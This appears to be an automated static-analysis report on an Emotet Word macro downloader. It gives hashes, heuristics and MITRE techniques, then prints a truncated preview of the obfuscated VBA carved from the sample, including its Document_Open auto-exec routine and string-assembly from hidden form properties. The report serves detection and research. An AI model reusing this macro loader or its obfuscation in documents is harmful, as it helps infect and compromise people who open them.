Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 b258e369853bc9ae…

MALICIOUS

Office (OLE)

199.6 KB Created: 2019-12-18 16:52:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: bfc9f1544d17fd933c171699d2c264f1 SHA-1: 375b9d6474094c5bf8e0de1806d696292d1917f5 SHA-256: b258e369853bc9aebf589f796d2d9e72d7fac3aacff279e63abc2b7612ce0f37
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate or Obfuscate Malicious Files or Information

The file contains VBA macros, including a Document_Open macro and a hidden-property command stager, which are indicative of malicious activity. ClamAV detection confirms this, identifying it as 'Doc.Downloader.Emotet-7465436-0'. The presence of these elements suggests the macro is designed to download and execute a secondary payload, a common Emotet tactic.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7465436-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7465436-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11220 bytes
SHA-256: 521c3d047affde71f33d14bbbda400097c9b01d294dc99da61d3b9a49f746802
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Snvuzfuewcoq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Thrboxjee, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Xgxaojmphtqbe = Wklsmpnrrxios
Fljxqriokyd = 465
Pooisrpqfxajj = ("Est cumque ex cupiditate inventore nihil dolorem sint quo.")
Dfuukqnfs = (978)
Dim Fnvatjpqbdjz As String
Dim Oaaoiohc As Double
Dim Feipgcjvbb As Boolean
Dim Uedrutnc As Integer
Dim Ytvpmrksj As Double
Dim Kvpaajztox As Integer
Dim Mgwkquopasz As Boolean
Trprljrirkj = (606)
Dim Tjnjehdejjqh As String
Vnkrvjlgrkcdo = ("Fugit rem voluptas est.")
Vwmwzaecq = (651)
Dim Blkhykrlvvhs As String
Gnrdgbta = Ndkuxqlteei
Klrmchlndzssm = Jlxbnwuuawofk
Jvgrhrpprsl = "Voluptatem sapiente laboriosam."
Erbkdmjsgg = 667
   Pmapfuogdb = Xlmzsbxfsgp
Puzlgvjqhoag = 304
Idksozaidqs = ("Consequatur unde.")
Glrixbuqzpvxf = (108)
Dim Pxmtklobhoazu As Double
Dim Jskydfqfcen As Integer
Dim Npvihesfez As Boolean
Dim Rjjtwbzjig As Boolean
Dim Hoqzrjoxmfn As Double
Dim Rrqolftynlwg As Double
Dim Cnqahmibs As String
Nukozmvqbekj = (917)
Dim Bjotdusfcljve As Integer
Kpzcuxkij = ("Aspernatur est quo nisi.")
Apkbsewdfdtip = (484)
Dim Irzedhpk As Integer
Khzzraffeud = Sfzbadrh
Upsjekrkeu = Xwdocockz
Qgzegohzgay = "Qui earum."
Zraunjyaol = 25
   Rxrtudygur = Derhfyvltzg
Bskidxzdug = 719
Ciqyidqeoyqzq = ("Betsy")
Owqsqjksk = (915)
Dim Quimiyzjdpemk As Integer
Dim Dvdclrfplge As Boolean
Dim Nspfkkmv As Boolean
Dim Prahvsjj As Integer
Dim Agppicglfxfek As String
Dim Kaybziuhsokl As Double
Dim Wcxxqbhdzx As Integer
Bqywkhclk = (268)
Dim Hgogzwbyrw As Double
Vigtvohabu = ("Magnam nisi exercitationem.")
Divdciyze = (301)
Dim Qcvihyyqiah As Boolean
Dngxdsinlhc = Yvjxbedt
Afabddmhwfha = Awlibfus
Achkyczun = "Vel officiis saepe."
Rdqfkzagk = 880
Heeqnnxywpgp
End Sub

Attribute VB_Name = "Rlomapwxvimn"
Attribute VB_Base = "0{01CB3C20-E57A-44C8-87FE-2A0A521467A3}{3C70AEA9-3F80-4386-857F-DBEAEFD3917B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Nhnotjbd"
Function Tcoienomvuui()
   Uidqynybualq = Rbuufayfrhicf
Hmpoauzabujy = 394
Dlqmmwic = ("Explicabo.")
Mwprwhwh = (162)
Dim Nowckdrbtz As Integer
Dim Adnvrqsz As Boolean
Dim Qnceeidty As Integer
Dim Ooppobjfhivgk As Integer
Dim Dbqfocaixi As String
Dim Yixabtelo As Integer
Dim Dojubwvhr As Boolean
Fcdsnvogsgnv = (16)
Dim Jhtmgkyfumqfh As Boolean
Bbixgduxjg = ("Itaque id est quo consequatur est et qui.")
Hfzptyxsobvlx = (556)
Dim Hqbhnquqefxet As Integer
Kgwoqzvxxh = Xagxandnh
Vfnpukvudderp = Dzmseackx
Hwqpbdchajdka = "Quis velit."
Ngcsiris = 114
Wldavdmen = Snvuzfuewcoq.Thrboxjee
   Xemwwnfzykb = Phimqbfdloiy
Oyhugybrz = 616
Gmgpawik = ("Deserunt sit assumenda officiis.")
Nsqnehmmpeyk = (529)
Dim Brqvetxiamkp As String
Dim Lszodmafqhb As Boolean
Dim Fjdcveoojfn As Double
Dim Vfsecpiyaxe As Boolean
Dim Vrvajunds As Integer
Dim Jokkzcmmioqvn As Double
Dim Liqemyso As String
Siwssldgvvofy = (501)
Dim Ksbtfviofifnn As String
Qabmgtqtpcmpr = ("Josefina")
Gjrfbgqudck = (337)
Dim Knxptyeodltf As Integer
Mqsfqxpcvwikr = Ykwzyjbex
Mbcxxahgeelw = Chsbhigeifbwf
Klujxkoaxyh = "Hic."
Vamodcwbjd = 702
Gqpnoqsste = Wldavdmen + Rlomapwxvimn.Mkoazdwzyd + Rlomapwxvimn.Otdrhfqgrid + Rlomapwxvimn.Mibqkorqklj
   Ortljonsal = Owgujxllvdqs
Dwrujhxvcuhh = 793
Dtkgcbrqggwcl = ("Fugiat qui est ea natus sunt.")
Kabpqkqbgbs = (253)
Dim Ulmcwoictkpu As String
Dim Pkyhwwertfr As Double
Dim Mreejgyvut As Integer
Dim Wrorqlvpx As Double
Dim Huwyodrhklc As Boolean
Dim Pgfobrvrea As Integer
Dim Padtwvola As Integer
Nhkscmjvuv = (520)
Dim Kggngfzd As String
Tyconopoljtws = ("Amet quia.")
Ysevfejlytn = (61)
Dim Hfb
... (truncated)

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